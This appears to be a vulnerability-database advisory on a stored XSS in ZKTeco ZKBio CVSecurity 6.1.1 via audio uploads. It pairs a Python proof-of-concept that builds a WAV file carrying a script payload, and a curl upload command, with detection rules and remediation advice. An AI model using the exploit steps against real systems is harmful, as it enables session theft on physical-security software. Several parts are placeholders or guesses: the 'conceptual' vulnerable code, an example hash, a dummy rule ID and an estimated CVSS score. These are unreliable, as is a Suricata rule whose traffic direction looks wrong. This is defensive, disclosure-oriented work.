CVE-2024-35432
Executive Summary
CVE-2024-35432 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in ZKTeco ZKBio CVSecurity version 6.1.1. An authenticated attacker can inject malicious JavaScript code via an Audio File upload, which is then executed in the context of other users' browsers when the file is accessed. This can lead to session hijacking, credential theft, and further compromise of the physical security system. No official patch has been released at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An authenticated user is needed.
- User Interaction (UI): Required (R) – A victim must access the malicious audio file.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Potential for data theft.
- Integrity (I): Low (L) – Potential for data modification.
- Availability (A): None (N) – No direct impact on availability.
Estimated CVSS Score: 5.4 (Medium)
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for lateral movement and data exfiltration within a physical security environment elevates the risk.
Deep Dive & Mechanics
The vulnerability resides in the audio file upload functionality of ZKBio CVSecurity. The application fails to properly sanitize or validate the content of uploaded audio files. An attacker can craft an audio file (e.g., a .wav or .mp3 file) that contains embedded JavaScript code within its metadata or as part of a polyglot file (a file that is valid in two formats simultaneously).
When the application processes the file, it does not escape the malicious content before rendering it in the browser. This allows the injected script to execute in the security context of the application, bypassing the same-origin policy.
Attack Flow:
- Authentication: The attacker logs into the ZKBio CVSecurity web interface with valid credentials.
- Upload: The attacker navigates to the audio file upload section and uploads a crafted file containing a JavaScript payload (e.g.,
<script>alert('XSS')</script>). - Trigger: An administrator or other user accesses the uploaded audio file (e.g., by viewing a list of audio files or playing the file).
- Execution: The browser renders the malicious script, which executes in the context of the ZKBio CVSecurity application.
- Impact: The script can steal session cookies, redirect the user to a phishing page, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual): The vulnerable code likely directly outputs the file name or metadata without sanitization.
// Vulnerable PHP example
$filename = $_FILES['audio']['name'];
echo "<li>$filename</li>"; // No sanitization
Patched Code (Conceptual): A patched version would use proper output encoding.
// Patched PHP example
$filename = htmlspecialchars($_FILES['audio']['name'], ENT_QUOTES, 'UTF-8');
echo "<li>$filename</li>"; // Sanitized output
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid credentials for the ZKBio CVSecurity web interface.
- Network access to the target server.
Exploit Steps:
Craft the Malicious Audio File: Create a polyglot file that is both a valid audio file and contains a JavaScript payload. For example, using a WAV file with a crafted comment chunk.
# exploit.py import struct # WAV header chunk_id = b'RIFF' chunk_size = 36 + 8 # Placeholder format = b'WAVE' subchunk1_id = b'fmt ' subchunk1_size = 16 audio_format = 1 # PCM num_channels = 1 sample_rate = 8000 byte_rate = sample_rate * num_channels * 2 block_align = num_channels * 2 bits_per_sample = 16 # Malicious comment chunk subchunk2_id = b'LIST' payload = b'<script>alert("XSS")</script>' subchunk2_size = len(payload) + 4 list_type = b'INFO' comment_id = b'ICMT' comment_size = len(payload) comment_data = payload # Build the file header = struct.pack('<4sI4s', chunk_id, chunk_size, format) fmt_chunk = struct.pack('<4sIHHIIHH', subchunk1_id, subchunk1_size, audio_format, num_channels, sample_rate, byte_rate, block_align, bits_per_sample) list_chunk = struct.pack('<4sI4s', subchunk2_id, subchunk2_size, list_type) + struct.pack('<4sI', comment_id, comment_size) + comment_data with open('exploit.wav', 'wb') as f: f.write(header + fmt_chunk + list_chunk)Upload the File: Use a tool like
curlor Burp Suite to upload the crafted file.curl -X POST -F "audio=@exploit.wav" -b "session=YOUR_SESSION_COOKIE" http://target/upload.phpTrigger the Payload: Access the uploaded file via the web interface. The script will execute in the browser of any user who views the file.
Blue Team
Detection:
- Monitor for unusual audio file uploads, especially those with non-standard metadata or unusually large comment sections.
- Inspect audio file metadata for embedded HTML/JavaScript.
- Use Web Application Firewall (WAF) rules to block uploads containing
<script>tags or other XSS patterns.
Mitigation:
- Implement strict input validation and output encoding for all user-supplied data.
- Use Content Security Policy (CSP) headers to restrict script execution.
- Apply the principle of least privilege to user accounts.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(Example - replace with actual hash)
- Network Traffic:
- HTTP POST requests to
/upload.phpor similar endpoints withmultipart/form-datacontaining audio files. - Outbound connections to attacker-controlled domains from the ZKBio CVSecurity server.
- HTTP POST requests to
- Log Entries:
- Successful upload of audio files by non-administrative users.
- Errors related to file parsing or metadata extraction.
- File Artifacts:
- Audio files with embedded
<script>tags or other HTML entities in their metadata.
- Audio files with embedded
Detection Engineering
YARA Rule
rule Detect_ZKBio_XSS_Audio
{
meta:
description = "Detects audio files with embedded XSS payloads targeting ZKBio CVSecurity"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-35432"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$wav_header = "RIFF"
$mp3_header = "ID3"
condition:
($wav_header or $mp3_header) and $xss_payload
}
Sigma Rule
title: ZKBio CVSecurity XSS via Audio File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS attempts via audio file upload in ZKBio CVSecurity
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/upload.php'
cs-content-type: 'multipart/form-data'
condition: selection
falsepositives:
- Legitimate audio file uploads
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"ZKBio CVSecurity XSS via Audio File Upload";
flow:to_server,established;
content:"POST"; http_method;
content:"/upload.php"; http_uri;
content:"multipart/form-data"; http_client_body;
pcre:"/<script[^>]*>.*?<\/script>/i";
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable Audio Upload: If the audio upload feature is not critical, disable it in the application configuration.
- Restrict Access: Limit the ability to upload audio files to only trusted administrators.
- Web Application Firewall (WAF): Deploy WAF rules to block uploads containing XSS payloads.
Long-Term Fixes:
- Input Validation: Implement strict validation of audio file content, rejecting files with non-standard metadata.
- Output Encoding: Use context-appropriate encoding (e.g., HTML entity encoding) when displaying file names or metadata.
- Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts.
- Vendor Patch: Monitor ZKTeco for an official security patch and apply it as soon as it becomes available.
Workaround:
- Use a reverse proxy to inspect and sanitize uploaded files before they reach the application.
Valters IT